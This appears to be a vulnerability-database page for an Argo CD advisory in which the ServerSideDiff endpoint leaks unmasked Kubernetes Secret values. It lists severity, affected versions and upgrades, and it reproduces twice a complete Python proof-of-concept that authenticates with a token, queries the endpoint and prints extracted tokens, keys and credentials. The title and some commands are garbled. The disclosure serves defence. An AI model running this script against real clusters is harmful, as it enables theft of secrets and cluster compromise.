CVE-2026-42880: Github.com/argoproj/argo cd/v3 ArgoCD ServerSideDiff Is Vulnerable To Vulnerability

CRITICAL
Advisory Identifier: GHSA-3v3m-wc6v-x4x3
CVSS 9.6
CWE-212 CWE-200
Published
Advisory Summary

CVE-2026-42880 is a CRITICAL (CVSS 9.6) argocd serversidediff is vulnerable to vulnerability (CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer) affecting Github.com/argoproj/argo cd/v3 libraries in the Go ecosystem. The issue involves argocd serversidediff is vulnerable to kubernetes secret extraction. Remediation is available by upgrading affected packages to version 3.2.11, 3.3.9.

CVE-2026-42880 at a Glance

CVE Identifier CVE-2026-42880
GHSA Identifier GHSA-3v3m-wc6v-x4x3
Severity CRITICAL
CVSS v3.1 Base Score 9.6
CWE Classification CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer
Affected Product Github.com/argoproj/argo cd/v3
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 9.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-42880

To remediate this vulnerability, upgrade all affected Github.com/argoproj/argo cd/v3 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/argoproj/argo-cd/v3 fixed: 3.2.11
Upgrade github.com/argoproj/argo-cd/v3 to 3.2.11
github.com/argoproj/argo-cd/v3 fixed: 3.3.9
Upgrade github.com/argoproj/argo-cd/v3 to 3.3.9
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/argoproj/argo-cd/v3

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-42880, inspect your project dependencies for Github.com/argoproj/argo cd/v3:

inspect dependencies for github.com/argoproj/argo-cd/v3

Analyze the terminal output to locate any version of Github.com/argoproj/argo cd/v3 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.2.11), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer, where the product stores, transfers, or shares a resource that contains sensitive information, but it does not properly remove that information before the product makes the resource available to unauthorized actors. In Github.com/argoproj/argo cd/v3, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary There is a missing authorization and data-masking gap in Argo CD's ServerSideDiff endpoint that allows an attacker with read-only access to extract plaintext Kubernetes Secret data from etcd via the Kubernetes API server's Server-Side Apply dry-run mechanism. ### Details Argo CD masks Secret data in every endpoint that returns Kubernetes resource state except one. All the other endpoints such as GetManifests, GetManifestsWithFiles, GetResource and PatchResource utilize hideSecretData() to mask the returned secret value. The vulnerable function ServerSideDiff gRPC/REST endpoint (/application.ApplicationService/ServerSideDiff) constructs its response with raw, unmasked PredictedLive and NormalizedLive states: ``` // server/application/application.go:3051-3062 responseDiffs = append(responseDiffs, &v1alpha1.ResourceDiff{ TargetState: string(diffRes.PredictedLive), LiveState: string(diffRes.NormalizedLive), }) ``` A user only requires RBAC to call this ServerSideDiff function. Every authenticated Argo CD user has get access via the default role:catch-all policy. However, Argo CD has a defense layer called removeWebhookMutation() that normally strips non-Argo CD-managed fields from the Server Side Apply (SSA) dry-run response and merges them with the client-provided (masked) live state. This prevents real Secret values from leaking through the diff. However, this defense is entirely skipped when the Application has the annotation argocd.argoproj.io/compare-options: IncludeMutationWebhook=true. When IncludeMutationWebhook=true is set, ignoreMutationWebhook becomes false, and the defense is skipped entirely: ``` if o.ignoreMutationWebhook { predictedLive, err = removeWebhookMutation(predictedLive, live, o.gvkParser, o.manager) } ``` The raw Kubernetes SSA dry-run response which contains real Secret values read from etcd is then flown directly into the API response with no masking. When ServerSideDiff is called, the handler invokes K8sServerSideDryRunner.Run(), which performs the equivalent of: `kubectl apply --server-side --dry-run=server --field-manager=argocd-controller ` For extraction to succeed, the Secret's data fields must be owned by at least one non-Argo CD SSA field manager. When argocd-controller is the sole field manager for data, the SSA dry-run garbage-collects those fields (since the target manifest omits them). When a second manager exists (e.g., kube-controller-manager), that manager retains ownership and the real values survive in the response. ### PoC ``` #!/usr/bin/env python3 """ Argo CD ServerSideDiff Secret Extraction PoC Usage: python3 poc.py <host> <token> <app> <project> Example: python3 poc.py argocd.int.<customer>.com eyJhbG... my-app my-project """ import base64 import http.client import json import ssl import struct import sys import urllib.parse from collections import defaultdict def encode_varint(v): out = [] while v > 0x7f: out.append((v & 0x7f) | 0x80) v >>= 7 out.append(v & 0x7f) return bytes(out) def encode_str(field, val): tag = (field << 3) | 2 raw = val.encode() return encode_varint(tag) + encode_varint(len(raw)) + raw def encode_bytes(field, val): tag = (field << 3) | 2 return encode_varint(tag) + encode_varint(len(val)) + val def encode_bool(field, val): tag = (field << 3) | 0 return encode_varint(tag) + encode_varint(1 if val else 0) def decode_varint(data, pos): val, shift = 0, 0 while pos < len(data): b = data[pos]; pos += 1 val |= (b & 0x7f) << shift; shift += 7 if not (b & 0x80): break return val, pos def decode_fields(data): fields = defaultdict(list) pos = 0 while pos < len(data): tag, pos = decode_varint(data, pos) wtype = tag & 0x07 if wtype == 0: val, pos = decode_varint(data, pos) fields[tag >> 3].append(val) elif wtype == 2: length, pos = decode_varint(data, pos) fields[tag >> 3].append(data[pos:pos + length]) pos += length elif wtype == 5: fields[tag >> 3].append(data[pos:pos + 4]); pos += 4 elif wtype == 1: fields[tag >> 3].append(data[pos:pos + 8]); pos += 8 else: break return dict(fields) # -- grpc-web framing -- def grpc_frame(payload): return b"\x00" + struct.pack(">I", len(payload)) + payload def decode_grpc_frames(data): frames, pos = [], 0 while pos + 5 <= len(data): flag = data[pos] length = struct.unpack(">I", data[pos+1:pos+5])[0] pos += 5 frames.append((flag, data[pos:pos+length])) pos += length return frames # -- http helpers -- def make_conn(host): ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE return http.client.HTTPSConnection(host, 443, context=ctx, timeout=10) def rest_get(conn, path, token): conn.request("GET", path, headers={ "Authorization": "Bearer " + token, "Accept": "application/json", }) resp = conn.getresponse() body = resp.read() if resp.status != 200: return None, "HTTP %d" % resp.status return json.loads(body), None def grpc_post(conn, token, payload): conn.request("POST", "/application.ApplicationService/ServerSideDiff", body=grpc_frame(payload), headers={ "Content-Type": "application/grpc-web+proto", "Accept": "application/grpc-web+proto", "X-Grpc-Web": "1", "Authorization": "Bearer " + token, }) resp = conn.getresponse() raw = resp.read() if resp.status != 200: return None, "HTTP %d" % resp.status frames = decode_grpc_frames(raw) for flag, fdata in frames: if flag == 0: return fdata, None return None, "no data frame in response" # -- main -- def main(): if len(sys.argv) != 5: print("Usage: python3 poc.py <host> <token> <app> <project>") sys.exit(1) host, token, app_name, project = sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4] conn = make_conn(host) # step 1: list managed resources for the app, find secrets print("[*] Fetching managed resources for %s/%s ..." % (project, app_name)) data, err = rest_get(conn, "/api/v1/applications/%s/managed-resources" % urllib.parse.quote(app_name), token) if err: print("[-] Failed: %s" % err); sys.exit(1) secrets = [] for r in data.get("items", []): if r.get("kind") != "Secret": continue name = r.get("name", "") ns = r.get("namespace", "") live = r.get("liveState", "") stype = "Opaque" if live and live != "null": try: stype = json.loads(live).get("type", "Opaque") except Exception: pass secrets.append((name, ns, stype, live)) if not secrets: print("[-] No secrets found in managed resources"); sys.exit(0) print("[+] Found %d secrets" % len(secrets)) # step 2: call ServerSideDiff for each secret total_extracted = 0 for sname, sns, stype, live_json in secrets: # build minimal target manifest (no data field) target = {"apiVersion": "v1", "kind": "Secret", "metadata": {"name": sname, "namespace": sns}, "type": stype} # copy required annotations from live state for SA tokens if live_json and live_json != "null": try: live_annots = json.loads(live_json).get("metadata", {}).get("annotations", {}) k8s_annots = {k: v for k, v in live_annots.items() if k.startswith("kubernetes.io/")} if k8s_annots: target["metadata"]["annotations"] = k8s_annots except Exception: pass # for TLS secrets, include required placeholder keys if stype == "kubernetes.io/tls": target["data"] = { "tls.crt": base64.b64encode(b"PLACEHOLDER").decode(), "tls.key": base64.b64encode(b"PLACEHOLDER").decode(), } elif stype == "kubernetes.io/dockerconfigjson": target["data"] = {".dockerconfigjson": base64.b64encode(b'{"auths":{}}').decode()} # encode the grpc request lr = b"" lr += encode_str(2, "Secret") # kind lr += encode_str(3, sns) # namespace lr += encode_str(4, sname) # name if live_json: lr += encode_str(6, live_json) # liveState lr += encode_bool(12, True) # modified query = encode_str(1, app_name) query += encode_str(3, project) query += encode_bytes(4, lr) query += encode_str(5, json.dumps(target)) # reconnect for each call (simple, no pool needed for poc) try: conn = make_conn(host) resp_data, err = grpc_post(conn, token, query) except Exception as e: print(" [!] %s/%s: %s" % (sns, sname, e)) continue if err: print(" [!] %s/%s: %s" % (sns, sname, err)) continue # parse response resp_fields = decode_fields(resp_data) for item_bytes in resp_fields.get(1, []): if not isinstance(item_bytes, bytes): continue ifields = decode_fields(item_bytes) # field 5 = targetState (predictedLive — has real values from etcd) for raw in ifields.get(5, []): if not isinstance(raw, bytes): continue try: obj = json.loads(raw) except Exception: continue if obj.get("kind") != "Secret": continue secret_data = obj.get("data", {}) if not secret_data: continue # check for real (non-masked) values real_keys = {} for k, v in secret_data.items(): if not v: continue if all(c == "+" for c in v): continue # masked by argocd try: decoded = base64.b64decode(v) text = decoded.decode("utf-8", errors="replace") except Exception: continue if all(c == "+" for c in text) and text: continue # masked (base64 of +++...) real_keys[k] = text if real_keys: total_extracted += 1 print("\n [***] %s/%s (%s)" % (sns, sname, stype)) print(" %d/%d keys extracted:" % (len(real_keys), len(secret_data))) for k in sorted(real_keys): v = real_keys[k].replace("\n", "\\n") if len(v) > 120: v = v[:120] + "..." print(" %s: %s" % (k, v)) print("\n[*] Done. %d secrets with real values extracted." % total_extracted) if __name__ == "__main__": main() ``` ### Impact Any user with Argo CD application get permissions can extract real Kubernetes Secret values including service account tokens, TLS certificates, database credentials, and API keys. On Applications where IncludeMutationWebhook=true is already set, exploitation requires only read-only Argo CD access.

CVE-2026-42880 Affected Github.com/argoproj/argo cd/v3 Versions

2 component(s)
Fixed Versions:
3.2.113.3.9
Product / Package Ecosystem Affected Versions Fixed Version
github.com/argoproj/argo-cd/v3
Go
≥ 3.2.0
< 3.2.11
3.2.11
github.com/argoproj/argo-cd/v3
Go
≥ 3.3.0
< 3.3.9
3.3.9

References

Frequently Asked Questions

What is CVE-2026-42880?
CVE-2026-42880 is a security vulnerability in Github.com/argoproj/argo cd/v3 involving ArgoCD ServerSideDiff is vulnerable to Kubernetes Secret Extraction under CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer.
Which Github.com/argoproj/argo cd/v3 versions are affected?
Affected versions include releases prior to 3.2.11, 3.3.9 across affected packages: github.com/argoproj/argo-cd/v3.
What version fixes CVE-2026-42880?
Upgrading to 3.2.11, 3.3.9 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/argoproj/argo-cd/v3 affected?
Yes, github.com/argoproj/argo-cd/v3 is affected in releases prior to 3.2.11, 3.3.9. Upgrade your dependency to 3.2.11, 3.3.9 or later.
What is the CVSS score of CVE-2026-42880?
CVE-2026-42880 has a CVSS v3.1 base score of 9.6 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N.
What CWE is associated with CVE-2026-42880?
CVE-2026-42880 is classified under CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer (The product stores, transfers, or shares a resource that contains sensitive information, but it does not properly remove that information before the product makes the resource available to unauthorized actors.).
How can I check Go dependencies for CVE-2026-42880?
Run the dependency tree command: 'inspect dependencies for github.com/argoproj/argo-cd/v3'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3v3m-wc6v-x4x3",
  "modified" : "2026-05-11T13:30:01Z",
  "published" : "2026-05-07T01:56:53Z",
  "aliases" : [ "CVE-2026-42880" ],
  "summary" : "ArgoCD ServerSideDiff is vulnerable to Kubernetes Secret Extraction",
  "details" : "### Summary\nThere is a missing authorization and data-masking gap in Argo CD's ServerSideDiff endpoint that allows an attacker with read-only access to extract plaintext Kubernetes Secret data from etcd via the Kubernetes API server's Server-Side Apply dry-run mechanism.\n\n### Details\nArgo CD masks Secret data in every endpoint that returns Kubernetes resource state except one. All the other endpoints such as GetManifests, GetManifestsWithFiles, GetResource and PatchResource utilize hideSecretData() to mask the returned secret value. The vulnerable function ServerSideDiff gRPC/REST endpoint (/application.ApplicationService/ServerSideDiff) constructs its response with raw, unmasked PredictedLive and NormalizedLive states:\n\n```\n// server/application/application.go:3051-3062\nresponseDiffs = append(responseDiffs, &v1alpha1.ResourceDiff{\n    TargetState:     string(diffRes.PredictedLive),\n    LiveState:       string(diffRes.NormalizedLive),\n})\n```\n\nA user only requires RBAC to call this ServerSideDiff function. Every authenticated Argo CD user has get access via the default role:catch-all policy. However, Argo CD has a defense layer called removeWebhookMutation() that normally strips non-Argo CD-managed fields from the Server Side Apply (SSA) dry-run response and merges them with the client-provided (masked) live state. This prevents real Secret values from leaking through the diff. However, this defense is entirely skipped when the Application has the annotation argocd.argoproj.io/compare-options: IncludeMutationWebhook=true.\nWhen IncludeMutationWebhook=true is set, ignoreMutationWebhook becomes false, and the defense is skipped entirely:\n\n```\nif o.ignoreMutationWebhook {\n    predictedLive, err = removeWebhookMutation(predictedLive, live, o.gvkParser, o.manager)\n}\n```\n\nThe raw Kubernetes SSA dry-run response which contains real Secret values read from etcd is then flown directly into the API response with no masking.\n\nWhen ServerSideDiff is called, the handler invokes K8sServerSideDryRunner.Run(), which performs the equivalent of:\n\n`kubectl apply --server-side --dry-run=server --field-manager=argocd-controller\n`\nFor extraction to succeed, the Secret's data fields must be owned by at least one non-Argo CD SSA field manager. When argocd-controller is the sole field manager for data, the SSA dry-run garbage-collects those fields (since the target manifest omits them). When a second manager exists (e.g., kube-controller-manager), that manager retains ownership and the real values survive in the response.\n\n### PoC\n```\n#!/usr/bin/env python3\n\"\"\"\nArgo CD ServerSideDiff Secret Extraction PoC\n\nUsage:\n    python3 poc.py <host> <token> <app> <project>\n\nExample:\n    python3 poc.py argocd.int.<customer>.com eyJhbG... my-app my-project\n\"\"\"\n\nimport base64\nimport http.client\nimport json\nimport ssl\nimport struct\nimport sys\nimport urllib.parse\nfrom collections import defaultdict\n\ndef encode_varint(v):\n    out = []\n    while v > 0x7f:\n        out.append((v & 0x7f) | 0x80)\n        v >>= 7\n    out.append(v & 0x7f)\n    return bytes(out)\n\ndef encode_str(field, val):\n    tag = (field << 3) | 2\n    raw = val.encode()\n    return encode_varint(tag) + encode_varint(len(raw)) + raw\n\ndef encode_bytes(field, val):\n    tag = (field << 3) | 2\n    return encode_varint(tag) + encode_varint(len(val)) + val\n\ndef encode_bool(field, val):\n    tag = (field << 3) | 0\n    return encode_varint(tag) + encode_varint(1 if val else 0)\n\ndef decode_varint(data, pos):\n    val, shift = 0, 0\n    while pos < len(data):\n        b = data[pos]; pos += 1\n        val |= (b & 0x7f) << shift; shift += 7\n        if not (b & 0x80):\n            break\n    return val, pos\n\ndef decode_fields(data):\n    fields = defaultdict(list)\n    pos = 0\n    while pos < len(data):\n        tag, pos = decode_varint(data, pos)\n        wtype = tag & 0x07\n        if wtype == 0:\n            val, pos = decode_varint(data, pos)\n            fields[tag >> 3].append(val)\n        elif wtype == 2:\n            length, pos = decode_varint(data, pos)\n            fields[tag >> 3].append(data[pos:pos + length])\n            pos += length\n        elif wtype == 5:\n            fields[tag >> 3].append(data[pos:pos + 4]); pos += 4\n        elif wtype == 1:\n            fields[tag >> 3].append(data[pos:pos + 8]); pos += 8\n        else:\n            break\n    return dict(fields)\n\n\n# -- grpc-web framing --\n\ndef grpc_frame(payload):\n    return b\"\\x00\" + struct.pack(\">I\", len(payload)) + payload\n\ndef decode_grpc_frames(data):\n    frames, pos = [], 0\n    while pos + 5 <= len(data):\n        flag = data[pos]\n        length = struct.unpack(\">I\", data[pos+1:pos+5])[0]\n        pos += 5\n        frames.append((flag, data[pos:pos+length]))\n        pos += length\n    return frames\n\n\n# -- http helpers --\n\ndef make_conn(host):\n    ctx = ssl.create_default_context()\n    ctx.check_hostname = False\n    ctx.verify_mode = ssl.CERT_NONE\n    return http.client.HTTPSConnection(host, 443, context=ctx, timeout=10)\n\ndef rest_get(conn, path, token):\n    conn.request(\"GET\", path, headers={\n        \"Authorization\": \"Bearer \" + token,\n        \"Accept\": \"application/json\",\n    })\n    resp = conn.getresponse()\n    body = resp.read()\n    if resp.status != 200:\n        return None, \"HTTP %d\" % resp.status\n    return json.loads(body), None\n\ndef grpc_post(conn, token, payload):\n    conn.request(\"POST\", \"/application.ApplicationService/ServerSideDiff\",\n        body=grpc_frame(payload), headers={\n            \"Content-Type\": \"application/grpc-web+proto\",\n            \"Accept\": \"application/grpc-web+proto\",\n            \"X-Grpc-Web\": \"1\",\n            \"Authorization\": \"Bearer \" + token,\n        })\n    resp = conn.getresponse()\n    raw = resp.read()\n    if resp.status != 200:\n        return None, \"HTTP %d\" % resp.status\n    frames = decode_grpc_frames(raw)\n    for flag, fdata in frames:\n        if flag == 0:\n            return fdata, None\n    return None, \"no data frame in response\"\n\n\n# -- main --\n\ndef main():\n    if len(sys.argv) != 5:\n        print(\"Usage: python3 poc.py <host> <token> <app> <project>\")\n        sys.exit(1)\n\n    host, token, app_name, project = sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]\n    conn = make_conn(host)\n\n    # step 1: list managed resources for the app, find secrets\n    print(\"[*] Fetching managed resources for %s/%s ...\" % (project, app_name))\n    data, err = rest_get(conn, \"/api/v1/applications/%s/managed-resources\" % urllib.parse.quote(app_name), token)\n    if err:\n        print(\"[-] Failed: %s\" % err); sys.exit(1)\n\n    secrets = []\n    for r in data.get(\"items\", []):\n        if r.get(\"kind\") != \"Secret\":\n            continue\n        name = r.get(\"name\", \"\")\n        ns = r.get(\"namespace\", \"\")\n        live = r.get(\"liveState\", \"\")\n        stype = \"Opaque\"\n        if live and live != \"null\":\n            try:\n                stype = json.loads(live).get(\"type\", \"Opaque\")\n            except Exception:\n                pass\n        secrets.append((name, ns, stype, live))\n\n    if not secrets:\n        print(\"[-] No secrets found in managed resources\"); sys.exit(0)\n    print(\"[+] Found %d secrets\" % len(secrets))\n\n    # step 2: call ServerSideDiff for each secret\n    total_extracted = 0\n    for sname, sns, stype, live_json in secrets:\n        # build minimal target manifest (no data field)\n        target = {\"apiVersion\": \"v1\", \"kind\": \"Secret\",\n                  \"metadata\": {\"name\": sname, \"namespace\": sns},\n                  \"type\": stype}\n\n        # copy required annotations from live state for SA tokens\n        if live_json and live_json != \"null\":\n            try:\n                live_annots = json.loads(live_json).get(\"metadata\", {}).get(\"annotations\", {})\n                k8s_annots = {k: v for k, v in live_annots.items() if k.startswith(\"kubernetes.io/\")}\n                if k8s_annots:\n                    target[\"metadata\"][\"annotations\"] = k8s_annots\n            except Exception:\n                pass\n\n        # for TLS secrets, include required placeholder keys\n        if stype == \"kubernetes.io/tls\":\n            target[\"data\"] = {\n                \"tls.crt\": base64.b64encode(b\"PLACEHOLDER\").decode(),\n                \"tls.key\": base64.b64encode(b\"PLACEHOLDER\").decode(),\n            }\n        elif stype == \"kubernetes.io/dockerconfigjson\":\n            target[\"data\"] = {\".dockerconfigjson\": base64.b64encode(b'{\"auths\":{}}').decode()}\n\n        # encode the grpc request\n        lr = b\"\"\n        lr += encode_str(2, \"Secret\")       # kind\n        lr += encode_str(3, sns)             # namespace\n        lr += encode_str(4, sname)           # name\n        if live_json:\n            lr += encode_str(6, live_json)   # liveState\n        lr += encode_bool(12, True)          # modified\n\n        query = encode_str(1, app_name)\n        query += encode_str(3, project)\n        query += encode_bytes(4, lr)\n        query += encode_str(5, json.dumps(target))\n\n        # reconnect for each call (simple, no pool needed for poc)\n        try:\n            conn = make_conn(host)\n            resp_data, err = grpc_post(conn, token, query)\n        except Exception as e:\n            print(\"  [!] %s/%s: %s\" % (sns, sname, e))\n            continue\n        if err:\n            print(\"  [!] %s/%s: %s\" % (sns, sname, err))\n            continue\n\n        # parse response\n        resp_fields = decode_fields(resp_data)\n        for item_bytes in resp_fields.get(1, []):\n            if not isinstance(item_bytes, bytes):\n                continue\n            ifields = decode_fields(item_bytes)\n\n            # field 5 = targetState (predictedLive — has real values from etcd)\n            for raw in ifields.get(5, []):\n                if not isinstance(raw, bytes):\n                    continue\n                try:\n                    obj = json.loads(raw)\n                except Exception:\n                    continue\n                if obj.get(\"kind\") != \"Secret\":\n                    continue\n                secret_data = obj.get(\"data\", {})\n                if not secret_data:\n                    continue\n\n                # check for real (non-masked) values\n                real_keys = {}\n                for k, v in secret_data.items():\n                    if not v:\n                        continue\n                    if all(c == \"+\" for c in v):\n                        continue  # masked by argocd\n                    try:\n                        decoded = base64.b64decode(v)\n                        text = decoded.decode(\"utf-8\", errors=\"replace\")\n                    except Exception:\n                        continue\n                    if all(c == \"+\" for c in text) and text:\n                        continue  # masked (base64 of +++...)\n                    real_keys[k] = text\n\n                if real_keys:\n                    total_extracted += 1\n                    print(\"\\n  [***] %s/%s  (%s)\" % (sns, sname, stype))\n                    print(\"        %d/%d keys extracted:\" % (len(real_keys), len(secret_data)))\n                    for k in sorted(real_keys):\n                        v = real_keys[k].replace(\"\\n\", \"\\\\n\")\n                        if len(v) > 120:\n                            v = v[:120] + \"...\"\n                        print(\"          %s: %s\" % (k, v))\n\n    print(\"\\n[*] Done. %d secrets with real values extracted.\" % total_extracted)\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Impact\nAny user with Argo CD application get permissions can extract real Kubernetes Secret values including service account tokens, TLS certificates, database credentials, and API keys. On Applications where IncludeMutationWebhook=true is already set, exploitation requires only read-only Argo CD access.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/argoproj/argo-cd/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.2.0"
      }, {
        "fixed" : "3.2.11"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/argoproj/argo-cd/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.3.0"
      }, {
        "fixed" : "3.3.9"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/argoproj/argo-cd/security/advisories/GHSA-3v3m-wc6v-x4x3"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42880"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/argoproj/argo-cd"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200", "CWE-212" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-07T01:56:53Z",
    "nvd_published_at" : "2026-05-07T23:16:32Z"
  }
}